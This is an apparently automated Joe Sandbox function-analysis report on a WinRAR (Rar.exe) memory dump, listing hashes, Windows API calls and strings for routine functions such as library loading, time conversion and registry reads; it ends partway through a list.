Opcode ID: 36e15a2f6b3b96bc1e0c3e934e6de12edc8c89cb22510f3d7e0bd49562d698a5
Instruction ID: d2a0ae1fb7bf53110d05c999b735ec9b3b2c4233b78d1f057f92c3f486157340
Opcode Fuzzy Hash: 36e15a2f6b3b96bc1e0c3e934e6de12edc8c89cb22510f3d7e0bd49562d698a5
Instruction Fuzzy Hash: 8CB09260E27A02C2EB082B156C8221823A8BF4C711F89417DC42FC0360FF2D24A55720

Function 00007FF6F68211A0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97e76c8c076b2960d4ba6b09554816ae6f59970d86e3ffc25caeb89f22dc8d26
Instruction ID: b21bfe4ccf91060d450e02c865f693ad82278f790803f9b7ce16d31c72c98c74
Opcode Fuzzy Hash: 97e76c8c076b2960d4ba6b09554816ae6f59970d86e3ffc25caeb89f22dc8d26
Instruction Fuzzy Hash: 4CF068B17286A58ADB94CF2CA40262977D4F708391F50853ED6AEC3F44EB3D94508F14

Function 00007FF6F680D1B0 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF6F680D1C6
GetModuleHandleW.KERNEL32 ref: 00007FF6F680D1D3
GetModuleHandleW.KERNEL32 ref: 00007FF6F680D1E8
GetProcAddress.KERNEL32 ref: 00007FF6F680D200
GetProcAddress.KERNEL32 ref: 00007FF6F680D213
CreateEventW.KERNEL32 ref: 00007FF6F680D23F
DeleteCriticalSection.KERNEL32 ref: 00007FF6F680D28B
CloseHandle.KERNEL32 ref: 00007FF6F680D29D

Strings

WakeAllConditionVariable, xrefs: 00007FF6F680D206
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00007FF6F680D1CC
SleepConditionVariableCS, xrefs: 00007FF6F680D1F6
kernel32.dll, xrefs: 00007FF6F680D1E1

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: b35aef4887470d81a0eeeaa68afd33b0c96b29ee0fc079a423a7d5039788fdd4
Instruction ID: d120462caa6ab6d17c42de15a3b21d3b6e5e04087a2741c4c0584165054ede6a
Opcode Fuzzy Hash: b35aef4887470d81a0eeeaa68afd33b0c96b29ee0fc079a423a7d5039788fdd4
Instruction Fuzzy Hash: 14211D20E3AA07A2FF149B24E85557563A9AF48750F84553DC93F866E0FE3EF5498330

Function 00007FF6F6819444 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6F68195C1

Strings

nan(ind), xrefs: 00007FF6F68194FA
inf, xrefs: 00007FF6F68194CA
nan, xrefs: 00007FF6F68194AC
NAN(SNAN), xrefs: 00007FF6F68194D9
NAN, xrefs: 00007FF6F68194A5
nan(snan), xrefs: 00007FF6F68194E4
NAN(IND), xrefs: 00007FF6F68194EF
INF, xrefs: 00007FF6F68194B7

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: 9c1965aecbd8365b785cbed8931d8bc5cf8599e9657390807c0aea23fd277bfd
Instruction ID: 47920b05204cd5395c22dc7c97c25ab3e975c69fb0cf36758a0ecb5ae1dec94f
Opcode Fuzzy Hash: 9c1965aecbd8365b785cbed8931d8bc5cf8599e9657390807c0aea23fd277bfd
Instruction Fuzzy Hash: FF41B172A25B4589EB04CF65E8517ED33A8EB14398F40453ADE7C83B95EE3ED065C350

Function 00007FF6F681018C Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 317COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF6F681032A
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6F681064D
abort.LIBCMT ref: 00007FF6F6810681

Strings

csm, xrefs: 00007FF6F68102D3
csm, xrefs: 00007FF6F6810351
csm, xrefs: 00007FF6F6810271

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: Is_bad_exception_allowedabortstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 2940173790-393685449
Opcode ID: 62e4e736cff00ca0ccd8ebfe4cc433a977fa6622089825f778f6a36f32d705f6
Instruction ID: b20f1a62dd848109b89311becb4f36c0c2c0d8a285115110e343c491d986f64c
Opcode Fuzzy Hash: 62e4e736cff00ca0ccd8ebfe4cc433a977fa6622089825f778f6a36f32d705f6
Instruction Fuzzy Hash: FBE1A073A287868AE7209B25D8902BD37A8FB44748F104139DEBD977D6EF39E481C750

Function 00007FF6F67D3F74 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32 ref: 00007FF6F67D3FC0
GetShortPathNameW.KERNEL32(?,00000000,00007FF6F67D3DBD), ref: 00007FF6F67D3FE1

Part of subcall function 00007FF6F6800974: CompareStringW.KERNEL32(?,?,?,?,?,?,00007FF6F67E7DB0,?,00007FF6F680BB48,?,?,?,?,?,00007FF6F6805FB7), ref: 00007FF6F6800993

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6F67D408B
MoveFileW.KERNEL32 ref: 00007FF6F67D40F9
MoveFileW.KERNEL32 ref: 00007FF6F67D4141

Strings

rtmp%d, xrefs: 00007FF6F67D4081

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: FileMoveNamePath$CompareLongShortStringswprintf
String ID: rtmp%d
API String ID: 2308737092-3303766350
Opcode ID: 3335ac3b42a0086f68e332c1c2b64ece5a3a69e61bd249bfb9596585a3d3f31c
Instruction ID: 686778ef63182b1d558489b99cdcac2801428bd60ac3cd5a5f59b03d7f80d000
Opcode Fuzzy Hash: 3335ac3b42a0086f68e332c1c2b64ece5a3a69e61bd249bfb9596585a3d3f31c
Instruction Fuzzy Hash: 06516D2261858695EB30AB22D8611FD2369BF94BC4F411432D92DCB6DEFE3ED606C350

Function 00007FF6F67F7444 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 88registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,00000000,?,?,?,00007FF6F67F7645,?,?,?,00007FF6F67EB1EB), ref: 00007FF6F67F74C6
RegQueryValueExW.ADVAPI32(?,00000000,?,?,?,00007FF6F67F7645,?,?,?,00007FF6F67EB1EB), ref: 00007FF6F67F7519
ExpandEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,00007FF6F67F7645,?,?,?,00007FF6F67EB1EB), ref: 00007FF6F67F753B
RegCloseKey.ADVAPI32(?,00000000,?,?,?,00007FF6F67F7645,?,?,?,00007FF6F67EB1EB), ref: 00007FF6F67F758E

Strings

LanguageFolder, xrefs: 00007FF6F67F74EE
Software\WinRAR\General, xrefs: 00007FF6F67F74B8

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: CloseEnvironmentExpandOpenQueryStringsValue
String ID: LanguageFolder$Software\WinRAR\General
API String ID: 1800380464-3408810217
Opcode ID: c50b5aef3f0074f24dd9de7c98f567f5f006eff02183cace3d280947b79ae76c
Instruction ID: 60891a4ffd2c33e90e3fb26c48f32bd8821002e3304f117362649b0fdc90ec70
Opcode Fuzzy Hash: c50b5aef3f0074f24dd9de7c98f567f5f006eff02183cace3d280947b79ae76c
Instruction Fuzzy Hash: F231E626728A4182EB10DB21E8606BA6368FF847A4F400235EE7D87BD9FF7DD148C750

Function 00007FF6F6811C8C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,00000000,00007FF6F6811E93,?,?,?,00007FF6F680FBFE,?,?,?,00007FF6F680FBB9), ref: 00007FF6F6811D11
GetLastError.KERNEL32(?,?,00000000,00007FF6F6811E93,?,?,?,00007FF6F680FBFE,?,?,?,00007FF6F680FBB9), ref: 00007FF6F6811D1F
LoadLibraryExW.KERNEL32(?,?,00000000,00007FF6F6811E93,?,?,?,00007FF6F680FBFE,?,?,?,00007FF6F680FBB9), ref: 00007FF6F6811D49
FreeLibrary.KERNEL32(?,?,00000000,00007FF6F6811E93,?,?,?,00007FF6F680FBFE,?,?,?,00007FF6F680FBB9), ref: 00007FF6F6811D8F
GetProcAddress.KERNEL32(?,?,00000000,00007FF6F6811E93,?,?,?,00007FF6F680FBFE,?,?,?,00007FF6F680FBB9), ref: 00007FF6F6811D9B

Strings

api-ms-, xrefs: 00007FF6F6811D31

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: ad78d4c48475a9a6a13ffd2e82eaca4914e71a37a1e9d5f91c0f68bd94abe849
Instruction ID: 9229dfb01038949b002d9d9fffb478ec3ac9888ed8227708d78ffe585de62561
Opcode Fuzzy Hash: ad78d4c48475a9a6a13ffd2e82eaca4914e71a37a1e9d5f91c0f68bd94abe849
Instruction Fuzzy Hash: 7F31C721B2EA41A1EF519B02A8105B92B9CBF45BA0F594539DDBE877D4FF3DE5408320

Function 00007FF6F67FE28C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32 ref: 00007FF6F67FE2A6
CloseHandle.KERNEL32 ref: 00007FF6F67FE2C1
CreateEventW.KERNEL32 ref: 00007FF6F67FE2D5
GetLastError.KERNEL32 ref: 00007FF6F67FE2E2
CloseHandle.KERNEL32 ref: 00007FF6F67FE2FC

Strings

rar -ioff, xrefs: 00007FF6F67FE298, 00007FF6F67FE2C7

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: CloseCreateEventHandle$ErrorLast
String ID: rar -ioff
API String ID: 4151682896-4089728129
Opcode ID: 0e4e5ddefa543e916682d063733034cb2515bf7c7aa3b3f93208bc8078e2943a
Instruction ID: 9f61c515030f6ba96238ae3c602f7b868ea3864dffd5023178b778f6a64306b5
Opcode Fuzzy Hash: 0e4e5ddefa543e916682d063733034cb2515bf7c7aa3b3f93208bc8078e2943a
Instruction Fuzzy Hash: 41018624E6DA0793FB14DB74A8355342359BF89701F448439C97EC61D0FE3F64888220

Function 00007FF6F67FE0C8 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6F67FE0DC
GetProcAddress.KERNEL32 ref: 00007FF6F67FE0F4
GetProcAddress.KERNEL32 ref: 00007FF6F67FE11F

Strings

SetDllDirectoryW, xrefs: 00007FF6F67FE0EA
SetDefaultDllDirectories, xrefs: 00007FF6F67FE115
kernel32, xrefs: 00007FF6F67FE0D5

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: SetDefaultDllDirectories$SetDllDirectoryW$kernel32
API String ID: 667068680-1824683568
Opcode ID: 95d8cc07f249bc4663e46d17bde4168128e98e9a24f2f9e6be3f331688fa2b42
Instruction ID: 33499f37bfc38b06ee3684fed44c36452360d0f90d5691d93203b3131b812ed0
Opcode Fuzzy Hash: 95d8cc07f249bc4663e46d17bde4168128e98e9a24f2f9e6be3f331688fa2b42
Instruction Fuzzy Hash: E0F03060A2D74792EF048B15F8651742368BF49B90F445038C83D863E4FE3DE25CC310

Function 00007FF6F67FE8B8 Relevance: 9.1, APIs: 6, Instructions: 120timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6F67D95A0: GetVersionExW.KERNEL32 ref: 00007FF6F67D95D1

FileTimeToLocalFileTime.KERNEL32 ref: 00007FF6F67FE920
FileTimeToSystemTime.KERNEL32 ref: 00007FF6F67FE92C
SystemTimeToTzSpecificLocalTime.KERNEL32 ref: 00007FF6F67FE93C
SystemTimeToFileTime.KERNEL32 ref: 00007FF6F67FE94A
SystemTimeToFileTime.KERNEL32 ref: 00007FF6F67FE958
FileTimeToSystemTime.KERNEL32 ref: 00007FF6F67FE999

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 685e1b3f9a3b34999d7428e0daea2edadfed94da1d8511aed82f35a69eaf7781
Instruction ID: 8d74d0b2f62bb07840a0d665ccfb0c76be902033b3bca08c8b17b0c7ecd36c08
Opcode Fuzzy Hash: 685e1b3f9a3b34999d7428e0daea2edadfed94da1d8511aed82f35a69eaf7781
Instruction Fuzzy Hash: 0351BFB2B146519BEB14CF74D4504AC37B5F748788B50403ADE2DA7B88EF39E542C750

Function 00007FF6F67C8FF8 Relevance: 9.1, APIs: 6, Instructions: 91COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6F67C90A7
GetConsoleMode.KERNEL32 ref: 00007FF6F67C90B7
SetConsoleMode.KERNEL32 ref: 00007FF6F67C90C5
ReadConsoleW.KERNEL32 ref: 00007FF6F67C90E3
SetConsoleMode.KERNEL32 ref: 00007FF6F67C90F7
ReadConsoleW.KERNEL32 ref: 00007FF6F67C913F

Part of subcall function 00007FF6F67F76DC: LoadStringW.USER32 ref: 00007FF6F67F7763
Part of subcall function 00007FF6F67F76DC: LoadStringW.USER32 ref: 00007FF6F67F777C

Part of subcall function 00007FF6F67C9B7C: fflush.LIBCMT ref: 00007FF6F67C9BAF

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: Console$Mode$LoadReadString$Handlefflush
String ID:
API String ID: 3325014852-0
Opcode ID: c98ce8c1c9a772123fe71e7741e5eab3800b6066ad4cdde9721a02487a3e35c8
Instruction ID: cfef21c05a46b0e3e1c5168f0864a4c4e7e33e5fd1ac0f0d1eab5ae3ab26c733
Opcode Fuzzy Hash: c98ce8c1c9a772123fe71e7741e5eab3800b6066ad4cdde9721a02487a3e35c8
Instruction Fuzzy Hash: 0641F421B2864296FB40DB61D4256BC336AFF48B90F400139DE2EA7BD6EE3EE445C340

Function 00007FF6F67FEE8C Relevance: 9.1, APIs: 6, Instructions: 80timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32 ref: 00007FF6F67FEEF0

Part of subcall function 00007FF6F67D95A0: GetVersionExW.KERNEL32 ref: 00007FF6F67D95D1

LocalFileTimeToFileTime.KERNEL32 ref: 00007FF6F67FEF12
FileTimeToSystemTime.KERNEL32 ref: 00007FF6F67FEF1E
TzSpecificLocalTimeToSystemTime.KERNEL32 ref: 00007FF6F67FEF2E
SystemTimeToFileTime.KERNEL32 ref: 00007FF6F67FEF3C
SystemTimeToFileTime.KERNEL32 ref: 00007FF6F67FEF4A

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
